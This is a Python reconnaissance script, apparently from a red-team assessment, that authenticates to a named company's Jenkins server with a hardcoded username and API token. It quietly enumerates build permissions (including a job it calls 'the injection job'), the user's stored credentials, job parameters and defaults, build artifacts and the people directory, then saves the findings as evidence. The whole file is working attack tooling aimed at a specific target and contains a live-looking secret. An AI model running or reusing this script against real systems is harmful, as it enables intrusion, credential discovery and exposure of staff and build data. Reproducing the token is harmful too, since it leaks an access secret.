#!/usr/bin/env python3
"""Silent enumeration: Item.Build permission, user credentials, people,
build parameters, build artifacts. All read-only, no build triggers.
Uses API token for auth (persistent, no password in logs).
"""
import json, time, os, re
from playwright.sync_api import sync_playwright

TOKEN = "1168067a586dbf2545ec65de94c754a8e8"
USER = "guilhermesilva"
TARGET = "https://jenkins.salesforce.ipiranga.io/"
L2DIR = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/L2"
EVIDENCE = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/evidence"

def main():
    with sync_playwright() as p:
        browser = p.firefox.launch(headless=True)
        # Use API token via HTTP Basic auth in context
        context = browser.new_context(
            ignore_https_errors=True,
            viewport={"width": 1280, "height": 900},
            http_credentials={"username": USER, "password": TOKEN},
        )
        page = context.new_page()

        def fetch_json(url):
            try:
                page.goto(url, wait_until="networkidle", timeout=20000)
                time.sleep(0.3)
                body = page.query_selector('body')
                if body:
                    txt = body.inner_text()
                    try:
                        return json.loads(txt)
                    except:
                        return txt
            except Exception as e:
                return f"__ERROR__: {e}"
            return None

        def fetch_raw(url):
            try:
                page.goto(url, wait_until="networkidle", timeout=20000)
                time.sleep(0.3)
                body = page.query_selector('body')
                if body:
                    return body.inner_text()
            except Exception as e:
                return f"__ERROR__: {e}"
            return ""

        results = {}

        # === S1: Item.Build permission check (GET build page, no POST) ===
        print("=== S1: Item.Build permission check ===")
        # Try GET on /build endpoint for Deploy Test 02 (the injection job)
        test_jobs = [
            ("Dev Utils/Deploy Test/Deploy Test 02", "job/Dev%20Utils/job/Deploy%20Test/job/Deploy%20Test%2002"),
            ("Dev Utils/Deploy Test/Deploy Test 01", "job/Dev%20Utils/job/Deploy%20Test/job/Deploy%20Test%2001"),
            ("Projetos/01 - Ipiranga TOP", "job/Projetos/job/01%20-%20Ipiranga%20TOP"),
            ("Deploy SalesForce/sfdc-ipiranga-orgnova-ci", "job/Deploy%20SalesForce/job/sfdc-ipiranga-orgnova-ci"),
        ]

        build_perms = {}
        for label, path in test_jobs:
            # GET /build — 405 means endpoint exists (POST would trigger)
            # 403 means no Item.Build permission
            try:
                resp = page.goto(TARGET + path + "/build", wait_until="domcontentloaded", timeout=15000)
                status = resp.status if resp else "no-response"
                url_final = page.url
                print(f"  {label}: GET /build → {status} (final: {url_final[:80]})")
                build_perms[label] = {"status": status, "url": url_final}
            except Exception as e:
                print(f"  {label}: GET /build → ERROR: {e}")
                build_perms[label] = {"error": str(e)}

        results["build_permissions"] = build_perms

        # Also check: does the job page show "Build Now" button?
        print("\n  Checking for 'Build Now' button on job pages:")
        for label, path in test_jobs[:2]:
            try:
                page.goto(TARGET + path, wait_until="networkidle", timeout=15000)
                time.sleep(1)
                content = page.content()
                has_build_now = "buildNow" in content or "Build Now" in content or "build?delay" in content
                print(f"    {label}: Build Now button = {has_build_now}")
                build_perms[label]["build_now_button"] = has_build_now
            except:
                pass

        # === S2: User personal credentials deep enumeration ===
        print("\n=== S2: User personal credentials ===")
        # Try multiple credential API paths
        cred_paths = [
            f"user/{USER}/credentials/store/user/domain/_/api/json?tree=credentials[id,description,displayName,_class]",
            f"user/{USER}/credentials/store/user/domain/_/credential/api/json?tree=id,description,displayName,_class",
            f"user/{USER}/credentials/api/json?tree=stores[user[domain[credentials[id,description,displayName,_class]]]]",
        ]
        for cp in cred_paths:
            data = fetch_json(TARGET + cp)
            print(f"  {cp[:70]}...")
            if isinstance(data, dict):
                print(f"    → {json.dumps(data)[:200]}")
            else:
                print(f"    → {str(data)[:200]}")
            results.setdefault("user_credentials", []).append({"path": cp, "data": data})

        # Visit the credentials UI page directly
        print("\n  Credentials UI page:")
        page.goto(TARGET + f"user/{USER}/credentials/", wait_until="networkidle", timeout=15000)
        time.sleep(1)
        cred_content = page.content()
        # Look for credential entries
        cred_rows = page.query_selector_all('tr')
        print(f"  Table rows on credentials page: {len(cred_rows)}")
        for row in cred_rows[:10]:
            text = row.inner_text().strip()
            if text and len(text) > 3:
                print(f"    ROW: {text[:150]}")
        page.screenshot(path=f"{EVIDENCE}/08_user_credentials.png")

        # === S3: Build parameters + artifacts ===
        print("\n=== S3: Build parameters + artifacts ===")
        # Get all leaf jobs
        all_jobs_data = fetch_json(TARGET + "api/json?tree=jobs[name,url,_class]")
        all_leaf = []
        def get_leaves(folder_url, depth=0):
            data = fetch_json(folder_url + "api/json?tree=jobs[name,url,_class]")
            if isinstance(data, dict):
                for j in data.get("jobs", []):
                    if "Folder" in j.get("_class", ""):
                        get_leaves(j["url"], depth+1)
                    else:
                        all_leaf.append(j)
        if isinstance(all_jobs_data, dict):
            for j in all_jobs_data.get("jobs", []):
                if "Folder" in j.get("_class", ""):
                    get_leaves(j["url"])
                else:
                    all_leaf.append(j)

        print(f"  Leaf jobs: {len(all_leaf)}")

        param_findings = []
        artifact_findings = []
        for job in all_leaf:
            job_url = job["url"]
            job_name = job["name"]
            
            # Check build parameters
            params_data = fetch_json(job_url + "api/json?tree=property[parameterDefinitions[name,type,defaultParameterValue[value],description]]")
            if isinstance(params_data, dict):
                props = params_data.get("property", [])
                for prop in props:
                    pdefs = prop.get("parameterDefinitions", [])
                    if pdefs:
                        print(f"  {job_name}: {len(pdefs)} parameter(s)")
                        for pd in pdefs:
                            pname = pd.get("name", "?")
                            ptype = pd.get("type", "?").split(".")[-1]
                            pdefault = pd.get("defaultParameterValue", {}).get("value", "")
                            pdesc = pd.get("description", "")
                            print(f"    {pname} ({ptype}) default={pdefault} desc={pdesc}")
                            param_findings.append({
                                "job": job_name,
                                "param": pname,
                                "type": ptype,
                                "default": pdefault,
                                "description": pdesc,
                            })

            # Check artifacts on last build
            art_data = fetch_json(job_url + "api/json?tree=lastSuccessfulBuild[url]")
            if isinstance(art_data, dict) and art_data.get("lastSuccessfulBuild"):
                build_url = art_data["lastSuccessfulBuild"]["url"]
                arts = fetch_json(build_url + "api/json?tree=artifactId,artifacts[fileName,relativePath],changeSet")
                if isinstance(arts, dict):
                    art_list = arts.get("artifacts", [])
                    if art_list:
                        print(f"  {job_name} #{build_url.split('/')[-2]}: {len(art_list)} artifact(s)")
                        for a in art_list[:5]:
                            print(f"    {a.get('fileName','?')} ({a.get('relativePath','?')})")
                            artifact_findings.append({
                                "job": job_name,
                                "build": build_url,
                                "file": a.get("fileName"),
                                "path": a.get("relativePath"),
                            })

        results["build_parameters"] = param_findings
        results["artifacts"] = artifact_findings

        # === S4: People directory (via browser — asynchPeople may need rendering) ===
        print("\n=== S4: People directory ===")
        page.goto(TARGET + "asynchPeople/", wait_until="networkidle", timeout=15000)
        time.sleep(2)
        people_content = page.content()
        # Extract user names from the people table
        people_links = page.query_selector_all('a[href*="/user/"]')
        users_seen = set()
        for link in people_links:
            href = link.get_attribute('href') or ''
            text = link.inner_text().strip()
            if '/user/' in href and text and len(text) > 2:
                users_seen.add(text)
        print(f"  Users found on People page: {len(users_seen)}")
        for u in sorted(users_seen):
            print(f"    {u}")
        results["people"] = sorted(list(users_seen))
        page.screenshot(path=f"{EVIDENCE}/09_people.png")

        # Also try the API directly
        people_api = fetch_json(TARGET + "asynchPeople/api/json?tree=users[user[id,fullName,absoluteUrl]]")
        if isinstance(people_api, dict):
            users = people_api.get("users", [])
            print(f"  People API: {len(users)} users")
            for u in users[:20]:
                user = u.get("user", {})
                print(f"    {user.get('id','?')} / {user.get('fullName','?')}")
        results["people_api"] = people_api

        # Save all results
        with open(f"{L2DIR}/silent_enum_results.json", "w") as f:
            json.dump(results, f, indent=2, default=str)
        print(f"\n=== Results saved to {L2DIR}/silent_enum_results.json ===")

        browser.close()

if __name__ == "__main__":
    main()
